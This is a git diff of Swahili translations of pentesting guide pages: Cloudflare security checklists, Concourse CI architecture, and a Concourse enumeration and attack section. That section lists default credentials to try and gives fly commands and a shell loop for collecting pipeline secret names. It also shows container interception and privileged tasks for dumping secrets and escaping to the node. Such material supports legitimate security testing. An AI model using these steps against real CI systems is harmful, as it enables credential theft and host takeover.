--git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index f69351697..43b6377d3 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -6,27 +6,27 @@ Katika kila TLD iliyowekwa kwenye Cloudflare kuna **mipangilio na huduma za juml
-### Overview +### Muhtasari - [ ] Pata hisia ya **ni kiasi gani** huduma za akaunti **zinatumika** - [ ] Pata pia **zone ID** na **account ID** -### Analytics +### Uchambuzi - [ ] Katika **`Security`** angalia kama kuna **Rate limiting** ### DNS -- [ ] Angalia **data za kuvutia** (nyeti?) katika **records** za DNS +- [ ] Angalia **data za kuvutia** (sensitive?) katika **rekodi za DNS** - [ ] Angalia **subdomains** ambazo zinaweza kuwa na **habari nyeti** kulingana na **jina** (kama admin173865324.domin.com) - [ ] Angalia kurasa za wavuti ambazo **hazijapangwa** **proxied** -- [ ] Angalia kwa **kurasa za wavuti zilizopangwa** ambazo zinaweza **kupatikana moja kwa moja** kwa CNAME au anwani ya IP -- [ ] Hakikisha kwamba **DNSSEC** ime **wezeshwa** -- [ ] Hakikisha kwamba **CNAME Flattening** inatumika katika **CNAME zote** +- [ ] Angalia **kurasa za wavuti zilizopangwa** ambazo zinaweza **kupatikana moja kwa moja** kwa CNAME au anwani ya IP +- [ ] Angalia kwamba **DNSSEC** ime **wezeshwa** +- [ ] Angalia kwamba **CNAME Flattening** inatumika katika **CNAME zote** - Hii inaweza kuwa na manufaa ili **kuficha udhaifu wa kuchukua subdomain** na kuboresha nyakati za upakiaji -- [ ] Hakikisha kwamba majina ya **hayana udhaifu wa spoofing** [**hayana udhaifu wa spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) +- [ ] Angalia kwamba majina ya domain [**hayana udhaifu wa spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) -### **Email** +### **Barua pepe** TODO @@ -36,91 +36,91 @@ TODO ### SSL/TLS -#### **Overview** +#### **Muhtasari** - [ ] **SSL/TLS encryption** inapaswa kuwa **Full** au **Full (Strict)**. Mengineyo yatatuma **trafiki ya maandiko wazi** kwa wakati fulani. - [ ] **SSL/TLS Recommender** inapaswa kuwezeshwa -#### Edge Certificates +#### Vyeti vya Edge -- [ ] **Always Use HTTPS** inapaswa kuwa **imewezeshwa** +- [ ] **Daima Tumia HTTPS** inapaswa kuwa **imewezeshwa** - [ ] **HTTP Strict Transport Security (HSTS)** inapaswa kuwa **imewezeshwa** -- [ ] **Minimum TLS Version inapaswa kuwa 1.2** +- [ ] **Tofauti ya chini ya TLS inapaswa kuwa 1.2** - [ ] **TLS 1.3 inapaswa kuwa imewezeshwa** -- [ ] **Automatic HTTPS Rewrites** inapaswa kuwa **imewezeshwa** -- [ ] **Certificate Transparency Monitoring** inapaswa kuwa **imewezeshwa** +- [ ] **Marekebisho ya kiotomatiki ya HTTPS** inapaswa kuwa **imewezeshwa** +- [ ] **Ufuatiliaji wa Uwazi wa Cheti** inapaswa kuwa **imewezeshwa** -### **Security** +### **Usalama** - [ ] Katika sehemu ya **`WAF`** ni muhimu kuangalia kwamba **Firewall** na **kanuni za rate limiting zinatumika** kuzuia matumizi mabaya. - Kitendo cha **`Bypass`** kita **zima vipengele vya usalama vya Cloudflare** kwa ombi. Hakipaswi kutumika. -- [ ] Katika sehemu ya **`Page Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa kuna ukurasa wowote unatumika -- [ ] Katika sehemu ya **`API Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa kuna API yoyote iliyofichuliwa kwenye Cloudflare -- [ ] Katika sehemu ya **`DDoS`** inapendekezwa kuwezesha **DDoS protections** +- [ ] Katika sehemu ya **`Page Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa ukurasa wowote unatumika +- [ ] Katika sehemu ya **`API Shield`** inapendekezwa kuangalia kwamba ime **wezeshwa** ikiwa API yoyote inafichuliwa kwenye Cloudflare +- [ ] Katika sehemu ya **`DDoS`** inapendekezwa kuwezesha **ulinzi wa DDoS** - [ ] Katika sehemu ya **`Settings`**: -- [ ] Hakikisha kwamba **`Security Level`** ni **kati** au zaidi -- [ ] Hakikisha kwamba **`Challenge Passage`** ni saa 1 kwa max -- [ ] Hakikisha kwamba **`Browser Integrity Check`** ime **wezeshwa** -- [ ] Hakikisha kwamba **`Privacy Pass Support`** ime **wezeshwa** +- [ ] Angalia kwamba **`Security Level`** ni **kati** au zaidi +- [ ] Angalia kwamba **`Challenge Passage`** ni saa 1 kwa max +- [ ] Angalia kwamba **`Browser Integrity Check`** ime **wezeshwa** +- [ ] Angalia kwamba **`Privacy Pass Support`** ime **wezeshwa** -#### **CloudFlare DDoS Protection** +#### **Ulinzi wa DDoS wa CloudFlare** - Ikiwa unaweza, wezesha **Bot Fight Mode** au **Super Bot Fight Mode**. Ikiwa unalinda API fulani inayopatikana kwa njia ya programu (kutoka ukurasa wa mbele wa JS kwa mfano). Huenda usiweze kuwezesha hii bila kuvunja ufikiaji huo. - Katika **WAF**: Unaweza kuunda **mipaka ya kiwango kwa njia ya URL** au kwa **bots zilizothibitishwa** (kanuni za rate limiting), au **kuzuia ufikiaji** kulingana na IP, Cookie, referrer...). Hivyo unaweza kuzuia maombi ambayo hayajatoka kwenye ukurasa wa wavuti au yana cookie. - Ikiwa shambulio linatoka kwa **bot iliyothibitishwa**, angalau **ongeza kiwango cha mipaka** kwa bots. - Ikiwa shambulio linahusiana na **njia maalum**, kama njia ya kuzuia, ongeza **mipaka ya kiwango** katika njia hii. - Unaweza pia **kuongeza kwenye orodha ya nyeupe** anwani za IP, anuwai za IP, nchi au ASNs kutoka **Zana** katika WAF. -- Angalia ikiwa **Managed rules** zinaweza pia kusaidia kuzuia matumizi mabaya ya udhaifu. -- Katika sehemu ya **Zana** unaweza **kuzuia au kutoa changamoto kwa IP maalum** na **vifaa vya mtumiaji.** -- Katika DDoS unaweza **kubadilisha baadhi ya kanuni ili kuzifanya kuwa za kukatisha tamaa zaidi**. -- **Settings**: Weka **Security Level** kuwa **Juu** na kuwa **Chini ya Shambulio** ikiwa uko chini ya shambulio na kwamba **Browser Integrity Check imewezeshwa**. -- Katika Cloudflare Domains -> Analytics -> Security -> Angalia ikiwa **rate limit** imewezeshwa -- Katika Cloudflare Domains -> Security -> Events -> Angalia kwa **matukio mabaya yaliyogunduliwa** +- Angalia ikiwa **Kanuni Zinazosimamiwa** zinaweza pia kusaidia kuzuia matumizi mabaya ya udhaifu. +- Katika sehemu ya **Zana** unaweza **kuzuia au kutoa changamoto kwa IP maalum** na **wakala wa mtumiaji.** +- Katika DDoS unaweza **kuzidisha baadhi ya kanuni ili kuzifanya kuwa kali zaidi**. +- **Mipangilio**: Weka **Kiwango cha Usalama** kuwa **Juu** na kuwa **Chini ya Shambulio** ikiwa uko chini ya shambulio na kwamba **Browser Integrity Check imewezeshwa**. +- Katika Cloudflare Domains -> Uchambuzi -> Usalama -> Angalia ikiwa **rate limit** imewezeshwa +- Katika Cloudflare Domains -> Usalama -> Matukio -> Angalia kwa **matukio mabaya yaliyogunduliwa** -### Access +### Ufikiaji {{#ref}} cloudflare-zero-trust-network.md {{#endref}} -### Speed +### Kasi _Sikuweza kupata chaguo lolote linalohusiana na usalama_ ### Caching -- [ ] Katika sehemu ya **`Configuration`** fikiria kuwezesha **CSAM Scanning Tool** +- [ ] Katika sehemu ya **`Configuration`** fikiria kuwezesha **Zana ya Skanning ya CSAM** -### **Workers Routes** +### **Njia za Wafanyakazi** _Unapaswa kuwa umeshakagua_ [_cloudflare workers_](./#workers) -### Rules +### Kanuni TODO -### Network +### Mtandao - [ ] Ikiwa **`HTTP/2`** ime **wezeshwa**, **`HTTP/2 to Origin`** inapaswa kuwa **imewezeshwa** -- [ ] **`HTTP/3 (with QUIC)`** inapaswa kuwa **imewezeshwa** +- [ ] **`HTTP/3 (na QUIC)`** inapaswa kuwa **imewezeshwa** - [ ] Ikiwa **faragha** ya **watumiaji** wako ni muhimu, hakikisha **`Onion Routing`** ime **wezeshwa** -### **Traffic** +### **Mwanzo** TODO -### Custom Pages +### Kurasa za Kawaida -- [ ] Ni hiari kuweka kurasa maalum wakati kosa linalohusiana na usalama linapotokea (kama kizuizi, rate limiting au niko chini ya shambulio) +- [ ] Ni hiari kuweka mipangilio ya kurasa za kawaida wakati kosa linalohusiana na usalama linapotokea (kama kizuizi, rate limiting au niko chini ya shambulio) -### Apps +### Mifumo TODO ### Scrape Shield -- [ ] Angalia **Email Address Obfuscation** ime **wezeshwa** -- [ ] Angalia **Server-side Excludes** ime **wezeshwa** +- [ ] Angalia **Uondoaji wa Anwani za Barua pepe** ume **wezeshwa** +- [ ] Angalia **Kujumuisha kwa Seva** ume **wezeshwa** ### **Zaraz** diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md index bc2e39982..801c5bd9e 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md @@ -13,7 +13,7 @@ Katika akaunti ya **Cloudflare Zero Trust Network** kuna **mipangilio na huduma* ### **Gateway** - [ ] Katika **`Policies`** inawezekana kuunda sera za **kuzuia** kwa **DNS**, **mtandao** au **HTTP** ombi nani anaweza kufikia programu. -- Ikiwa inatumika, **sera** zinaweza kuundwa ili **kuzuia** ufikiaji wa tovuti za uhalifu. +- Ikiwa inatumika, **sera** zinaweza kuundwa ili **kuzuia** ufikiaji wa tovuti mbaya. - Hii ni **muhimu tu ikiwa gateway inatumika**, ikiwa sivyo, hakuna sababu ya kuunda sera za kujihami. ### Access @@ -24,16 +24,16 @@ Katika kila programu: - [ ] Angalia **nani** anaweza kufikia programu katika **Policies** na hakikisha kwamba **tu** **watumiaji** ambao **wanahitaji ufikiaji** wa programu wanaweza kufikia. - Ili kuruhusu ufikiaji, **`Access Groups`** zitatumika (na **kanuni za ziada** zinaweza kuwekwa pia) -- [ ] Angalia **watoa huduma za utambulisho** waliopo na hakikisha hawako **wazi sana** +- [ ] Angalia **watoa kitambulisho** wanaopatikana na hakikisha hawako **wazi sana** - [ ] Katika **`Settings`**: - [ ] Angalia **CORS haijawashwa** (ikiwa imewashwa, angalia ni **salama** na hairuhusu kila kitu) - [ ] Cookies zinapaswa kuwa na sifa ya **Strict Same-Site**, **HTTP Only** na **binding cookie** inapaswa kuwa **imewashwa** ikiwa programu ni HTTP. -- [ ] Fikiria pia kuwezesha **Browser rendering** kwa ulinzi bora. Maelezo zaidi kuhusu [**remote browser isolation hapa**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** +- [ ] Fikiria pia kuwezesha **Browser rendering** kwa ulinzi bora. Maelezo zaidi kuhusu **[**remote browser isolation hapa**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.** #### **Access Groups** -- [ ] Angalia kwamba vikundi vya ufikiaji vilivyoundwa vime **kuzuia kwa usahihi** kwa watumiaji wanapaswa kuruhusu. -- [ ] Ni muhimu hasa kuangalia kwamba **kikundi cha ufikiaji cha kawaida hakiko wazi sana** (hakiruhusu watu wengi sana) kwani kwa **kawaida** mtu yeyote katika **kikundi** hicho atakuwa na uwezo wa **kufikia programu**. +- [ ] Angalia kwamba vikundi vya ufikiaji vilivyoundwa vimewekwa **vizuri** kwa watumiaji wanapaswa kuruhusu. +- [ ] Ni muhimu hasa kuangalia kwamba **kikundi cha ufikiaji cha default hakiko wazi sana** (hakiruhusu watu wengi sana) kwani kwa **default** mtu yeyote katika **kikundi** hicho atakuwa na uwezo wa **kufikia programu**. - Kumbuka kwamba inawezekana kutoa **ufikiaji** kwa **KILA MTU** na sera nyingine **wazi sana** ambazo hazipendekezwi isipokuwa ni muhimu 100%. #### Service Auth diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md index 1a951d396..4b8fff116 100644 --- a/src/pentesting-ci-cd/concourse-security/README.md +++ b/src/pentesting-ci-cd/concourse-security/README.md @@ -4,14 +4,14 @@ ## Taarifa za Msingi -Concourse inakuwezesha **kujenga mipango** ili kiotomatiki kufanikisha majaribio, vitendo na kujenga picha kila wakati unavyohitaji (kulingana na muda, wakati kitu kinapotokea...) +Concourse inakuwezesha **kujenga mipango** ya kiotomatiki kuendesha majaribio, vitendo na kujenga picha kila wakati unavyohitaji (kulingana na muda, wakati kitu kinapotokea...) ## Muktadha wa Concourse Jifunze jinsi mazingira ya concourse yalivyojengwa katika: {{#ref}} -muktadha-wa-concourse.md +concourse-architecture.md {{#endref}} ## Maabara ya Concourse @@ -19,7 +19,7 @@ muktadha-wa-concourse.md Jifunze jinsi unavyoweza kuendesha mazingira ya concourse kwa ndani ili kufanya majaribio yako mwenyewe katika: {{#ref}} -uundaji-wa-maabara-ya-concourse.md +concourse-lab-creation.md {{#endref}} ## Kuorodhesha & Kushambulia Concourse @@ -27,7 +27,7 @@ uundaji-wa-maabara-ya-concourse.md Jifunze jinsi unavyoweza kuorodhesha mazingira ya concourse na kuyatumia vibaya katika: {{#ref}} -kuorodhesha-na-kushambulia-concourse.md +concourse-enumeration-and-attacks.md {{#endref}} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md index 4214c1d7a..4f29e7a73 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md @@ -4,7 +4,7 @@ {{#include ../../banners/hacktricks-training.md}} -[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html) +[**Data muhimu kutoka kwa nyaraka za Concourse:**](https://concourse-ci.org/internals.html) ### Architecture @@ -12,15 +12,15 @@ #### ATC: web UI & build scheduler -ATC ni moyo wa Concourse. Inafanya kazi ya **web UI na API** na ina jukumu la **kusimamia** mipango yote ya pipeline. In **unganishwa na PostgreSQL**, ambayo inatumika kuhifadhi data za pipeline (ikiwemo kumbukumbu za ujenzi). +ATC ni moyo wa Concourse. Inafanya kazi ya **web UI na API** na ina jukumu la **kusimamia** mipango yote ya **pipeline**. In **connects to PostgreSQL**, ambayo inatumika kuhifadhi data za pipeline (ikiwemo logi za ujenzi). Jukumu la [checker](https://concourse-ci.org/checker.html) ni kuangalia kwa muda wote toleo jipya la rasilimali. [scheduler](https://concourse-ci.org/scheduler.html) ina jukumu la kupanga ujenzi kwa kazi na [build tracker](https://concourse-ci.org/build-tracker.html) ina jukumu la kuendesha ujenzi wowote uliopangwa. [garbage collector](https://concourse-ci.org/garbage-collector.html) ni mekanizma ya kusafisha kwa kuondoa vitu vyovyote visivyotumika au vya zamani, kama vile kontena na volumes. #### TSA: worker registration & forwarding -TSA ni **seva ya SSH iliyojengwa maalum** ambayo inatumika pekee kwa **kujiandikisha** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) kwa [ATC](https://concourse-ci.org/internals.html#component-atc). +TSA ni **server ya SSH iliyojengwa maalum** ambayo inatumika pekee kwa **kujiandikisha** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) kwa [ATC](https://concourse-ci.org/internals.html#component-atc). -TSA kwa **kawaida inasikiliza kwenye bandari `2222`**, na mara nyingi iko pamoja na [ATC](https://concourse-ci.org/internals.html#component-atc) na iko nyuma ya balancer ya mzigo. +TSA kwa **default inasikiliza kwenye bandari `2222`**, na kawaida inapatikana pamoja na [ATC](https://concourse-ci.org/internals.html#component-atc) na kukaa nyuma ya balancer ya mzigo. **TSA inatekeleza CLI kupitia muunganisho wa SSH,** ikisaidia [**amri hizi**](https://concourse-ci.org/internals.html#component-tsa). @@ -28,8 +28,8 @@ TSA kwa **kawaida inasikiliza kwenye bandari `2222`**, na mara nyingi iko pamoja Ili kutekeleza kazi, concourse lazima iwe na baadhi ya wafanyakazi. Wafanyakazi hawa **jiandikishe** kupitia [TSA](https://concourse-ci.org/internals.html#component-tsa) na kuendesha huduma [**Garden**](https://github.com/cloudfoundry-incubator/garden) na [**Baggageclaim**](https://github.com/concourse/baggageclaim). -- **Garden**: Hii ni **Container Manage API**, mara nyingi inafanya kazi kwenye **bandari 7777** kupitia **HTTP**. -- **Baggageclaim**: Hii ni **Volume Management API**, mara nyingi inafanya kazi kwenye **bandari 7788** kupitia **HTTP**. +- **Garden**: Hii ni **Container Manage API**, kawaida inafanya kazi kwenye **bandari 7777** kupitia **HTTP**. +- **Baggageclaim**: Hii ni **Volume Management API**, kawaida inafanya kazi kwenye **bandari 7788** kupitia **HTTP**. ## References diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md index 157d66194..780274c29 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md @@ -8,62 +8,62 @@ Concourse inakuja na majukumu matano: -- _Concourse_ **Admin**: Hii jukumu inatolewa tu kwa wamiliki wa **timu kuu** (timu ya mwanzo ya concourse). Wasimamizi wanaweza **kuunda timu nyingine** (mfano: `fly set-team`, `fly destroy-team`...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC. -- **mwenye**: Wamiliki wa timu wanaweza **kubadilisha kila kitu ndani ya timu**. -- **mwanachama**: Wanachama wa timu wanaweza **kusoma na kuandika** ndani ya **rasilimali za timu** lakini hawawezi kubadilisha mipangilio ya timu. -- **mpangaji-mchakato**: Wapangaji-mchakato wanaweza kufanya **operesheni za mchakato** kama vile kuanzisha ujenzi na kuweka rasilimali, hata hivyo hawawezi kubadilisha mipangilio ya mchakato. -- **mtazamaji**: Watazamaji wa timu wana **"ufikiaji wa kusoma tu" kwa timu** na mchakato zake. +- _Concourse_ **Admin**: Hiki ni jukumu ambalo linatolewa tu kwa wamiliki wa **timu kuu** (timu ya mwanzo ya concourse). Wasimamizi wanaweza **kuunda timu nyingine** (mfano: `fly set-team`, `fly destroy-team`...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC. +- **owner**: Wamiliki wa timu wanaweza **kubadilisha kila kitu ndani ya timu**. +- **member**: Wajumbe wa timu wanaweza **kusoma na kuandika** ndani ya **rasilimali za timu** lakini hawawezi kubadilisha mipangilio ya timu. +- **pipeline-operator**: Wafanya kazi wa pipeline wanaweza kufanya **operesheni za pipeline** kama vile kuanzisha ujenzi na kufunga rasilimali, hata hivyo hawawezi kuboresha mipangilio ya pipeline. +- **viewer**: Waangalizi wa timu wana **"ufikiaji wa kusoma tu" kwa timu** na mipangilio yake. > [!NOTE] -> Zaidi ya hayo, **ruhusa za majukumu ya mwenye, mwanachama, mpangaji-mchakato na mtazamaji zinaweza kubadilishwa** kwa kuunda RBAC (kuunda kwa usahihi vitendo vyake). Soma zaidi kuhusu hilo katika: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) +> Zaidi ya hayo, **ruhusa za majukumu owner, member, pipeline-operator na viewer zinaweza kubadilishwa** kwa kuunda RBAC (kuunda kwa usahihi vitendo vyake). Soma zaidi kuhusu hilo katika: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) -Kumbuka kwamba Concourse **inaunganisha mchakato ndani ya Timu**. Hivyo basi watumiaji wanaotokana na Timu wataweza kusimamia mchakato hizo na **Timu kadhaa** zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya Timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja yao. +Kumbuka kwamba Concourse **inaunganisha mipangilio ndani ya Timu**. Hivyo basi watumiaji wanaotoka kwenye Timu wataweza kusimamia mipangilio hiyo na **timu kadhaa** zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja yao. ### Vars & Credential Manager Katika mipangilio ya YAML unaweza kuunda thamani ukitumia sintaksia `((_source-name_:_secret-path_._secret-field_))`.\ [Kutoka kwenye hati:](https://concourse-ci.org/vars.html#var-syntax) **source-name ni hiari**, na ikiwa imeachwa, [meneja wa akiba wa kiwango cha klasta](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) atatumika, au thamani inaweza kutolewa [kwa statiki](https://concourse-ci.org/vars.html#static-vars).\ -**_secret-field_** ya hiari inabainisha uwanja kwenye akiba iliyopatikana kusoma. Ikiwa imeachwa, meneja wa akiba anaweza kuchagua kusoma 'uwanja wa kawaida' kutoka kwa akiba iliyopatikana ikiwa uwanja huo upo.\ -Zaidi ya hayo, _**secret-path**_ na _**secret-field**_ zinaweza kuzungukwa na nukuu mbili `"..."` ikiwa zina **micharacters maalum** kama `.` na `:`. Kwa mfano, `((source:"my.secret"."field:1"))` itaweka _secret-path_ kuwa `my.secret` na _secret-field_ kuwa `field:1`. +**_secret-field**\_ ya hiari inaelezea uwanja kwenye akiba iliyopatikana kusoma. Ikiwa imeachwa, meneja wa akiba anaweza kuchagua kusoma 'uwanja wa kawaida' kutoka kwa akiba iliyopatikana ikiwa uwanja huo upo.\ +Zaidi ya hayo, _**secret-path**_ na _**secret-field**_ zinaweza kuzungukwa na nukuu mbili `"..."` ikiwa zina **micharacter maalum** kama `.` na `:`. Kwa mfano, `((source:"my.secret"."field:1"))` itaweka _secret-path_ kuwa `my.secret` na _secret-field_ kuwa `field:1`. #### Static Vars -Static vars zinaweza kubainishwa katika **hatua za kazi**: +Static vars zinaweza kuainishwa katika **hatua za kazi**: ```yaml - task: unit-1.13 file: booklit/ci/unit.yml vars: { tag: 1.13 } ``` -Or using the following `fly` **arguments**: +Or kutumia `fly` **hoja** zifuatazo: -- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`. -- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`. -- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars. -- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all. +- `-v` au `--var` `NAME=VALUE` inaweka string `VALUE` kama thamani ya var `NAME`. +- `-y` au `--yaml-var` `NAME=VALUE` inachambua `VALUE` kama YAML na inaweka kama thamani ya var `NAME`. +- `-i` au `--instance-var` `NAME=VALUE` inachambua `VALUE` kama YAML na inaweka kama thamani ya instance var `NAME`. Tazama [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) kujifunza zaidi kuhusu instance vars. +- `-l` au `--load-vars-from` `FILE` inaweka `FILE`, hati ya YAML inayojumuisha majina ya var yanayohusishwa na thamani, na inaweka zote. #### Usimamizi wa Akida Kuna njia tofauti ambazo **Msimamizi wa Akida unaweza kufafanuliwa** katika pipeline, soma jinsi katika [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\ -Zaidi ya hayo, Concourse inasaidia wasimamizi wa akida tofauti: +Zaidi ya hayo, Concourse inasaidia wasimamizi tofauti wa akida: -- [Msimamizi wa akida wa Vault](https://concourse-ci.org/vault-credential-manager.html) -- [Msimamizi wa akida wa CredHub](https://concourse-ci.org/credhub-credential-manager.html) -- [Msimamizi wa akida wa AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html) -- [Msimamizi wa akida wa AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html) -- [Msimamizi wa Akida wa Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html) -- [Msimamizi wa akida wa Conjur](https://concourse-ci.org/conjur-credential-manager.html) -- [Kuhifadhi akida](https://concourse-ci.org/creds-caching.html) -- [Kuficha akida](https://concourse-ci.org/creds-redacting.html) -- [Kujaribu tena kufikia zilizoshindwa](https://concourse-ci.org/creds-retry-logic.html) +- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html) +- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html) +- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html) +- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html) +- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html) +- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html) +- [Caching credentials](https://concourse-ci.org/creds-caching.html) +- [Redacting credentials](https://concourse-ci.org/creds-redacting.html) +- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html) > [!CAUTION] > Kumbuka kwamba ikiwa una aina fulani ya **ufikiaji wa kuandika kwa Concourse** unaweza kuunda kazi za **kuondoa siri hizo** kwani Concourse inahitaji kuwa na uwezo wa kuzifikia. -### Uhesabuji wa Concourse +### Uainishaji wa Concourse -Ili kuhesabu mazingira ya concourse unahitaji kwanza **kusanya akida halali** au kupata **token iliyothibitishwa** labda katika faili ya usanidi `.flyrc`. +Ili kuainisha mazingira ya concourse unahitaji kwanza **kusanya akida halali** au kupata **token iliyothibitishwa** labda katika faili ya usanidi `.flyrc`. -#### Ingia na Ujumbe wa Sasa +#### Ingia na Uainishaji wa Mtumiaji wa Sasa - Ili kuingia unahitaji kujua **kiungo**, **jina la timu** (kawaida ni `main`) na **timu ambayo mtumiaji anahusishwa nayo**: - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]` @@ -71,7 +71,7 @@ Ili kuhesabu mazingira ya concourse unahitaji kwanza **kusanya akida halali** au - `fly targets` - Pata ikiwa **kiungo kilichowekwa** bado ni **halali**: - `fly -t status` -- Pata **jukumu** la mtumiaji dhidi ya lengo lililoonyeshwa: +- Pata **jukumu** la mtumiaji dhidi ya kiungo kilichotajwa: - `fly -t userinfo` > [!NOTE] @@ -92,9 +92,9 @@ Ili kuhesabu mazingira ya concourse unahitaji kwanza **kusanya akida halali** au - `fly -t pipelines -a` - **Pata** yaml ya pipeline (**taarifa nyeti** zinaweza kupatikana katika ufafanuzi): - `fly -t get-pipeline -p ` -- Pata **mipangilio yote ya pipeline iliyotangazwa** +- Pata **mipangilio yote ya vars** iliyotangazwa katika pipeline - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done` -- Pata majina yote ya **siri za pipelines zilizotumika** (ikiwa unaweza kuunda/kubadilisha kazi au kuiba kontena unaweza kuondoa hizo): +- Pata majina yote ya **siri za pipelines** zilizotumika (ikiwa unaweza kuunda/kubadilisha kazi au kuiba kontena unaweza kuondoa hizo): ```bash rm /tmp/secrets.txt; for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do @@ -107,29 +107,29 @@ echo "ALL SECRETS" cat /tmp/secrets.txt | sort | uniq rm /tmp/secrets.txt ``` -#### Containers & Workers +#### Mkonzo & Wafanyakazi -- Orodha **workers**: +- Orodha ya **wafanyakazi**: - `fly -t workers` -- Orodha **containers**: +- Orodha ya **mkonzo**: - `fly -t containers` -- Orodha **builds** (kuona kinachoendelea): +- Orodha ya **ujenzi** (kuona kinachoendelea): - `fly -t builds` -### Concourse Attacks +### Mashambulizi ya Concourse -#### Credentials Brute-Force +#### Uthibitisho wa Brute-Force - admin:admin - test:test -#### Usanidi wa siri na params +#### Orodha ya siri na vigezo -Katika sehemu iliyopita tuliona jinsi unavyoweza **kupata majina yote ya siri na vars** zinazotumiwa na pipeline. **Vars zinaweza kuwa na taarifa nyeti** na jina la **siri litakuwa muhimu baadaye kujaribu kuiba** hizo. +Katika sehemu iliyopita tuliona jinsi unavyoweza **kupata majina yote ya siri na vigezo** vinavyotumika na pipeline. **Vigezo vinaweza kuwa na taarifa nyeti** na jina la **siri litakuwa na manufaa baadaye kujaribu kuiba**. -#### Kikao ndani ya container inayokimbia au iliyokimbia hivi karibuni +#### Kikao ndani ya mkonzo unaoendesha au ulioendesha hivi karibuni -Ikiwa una ruhusa za kutosha (**mwanachama au zaidi**) utaweza **kuorodhesha pipelines na roles** na tu kupata **kikao ndani** ya `/` **container** kwa kutumia: +Ikiwa una ruhusa za kutosha (**nafasi ya mwanachama au zaidi**) utaweza **kuorodhesha pipelines na nafasi** na tu kupata **kikao ndani** ya `/` **mkonzo** ukitumia: ```bash fly -t tutorial intercept --job pipeline-name/job-name fly -t tutorial intercept # To be presented a prompt with all the options @@ -166,12 +166,12 @@ sleep 1000 params: SUPER_SECRET: ((super.secret)) ``` -Kwa **mabadiliko/kuunda** pipeline mpya utaweza: +Kwa **kubadilisha/kuunda** pipeline mpya utaweza: -- **Kuhujumu** **siri** (kupitia kuzionyesha au kuingia ndani ya kontena na kuendesha `env`) +- **Kuharibu** **siri** (kupitia kuzionyesha au kuingia ndani ya kontena na kuendesha `env`) - **Kutoroka** hadi **node** (kwa kukupa ruhusa za kutosha - `privileged: true`) - Kuorodhesha/Kutumia **cloud metadata** endpoint (kutoka kwenye pod na kutoka kwenye node) -- **Futa** pipeline iliyoundwa +- **Kufuta** pipeline iliyoundwa #### Teua Kazi Maalum @@ -199,9 +199,9 @@ fly -t tutorial execute --privileged --config task_config.yml ``` #### Kutoroka kwenye node kutoka kwa kazi yenye mamlaka -Katika sehemu zilizopita tuliona jinsi ya **kutekeleza kazi yenye mamlaka na concourse**. Hii haitatoa ufikiaji sawa kabisa na bendera yenye mamlaka katika kontena la docker. Kwa mfano, huwezi kuona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" 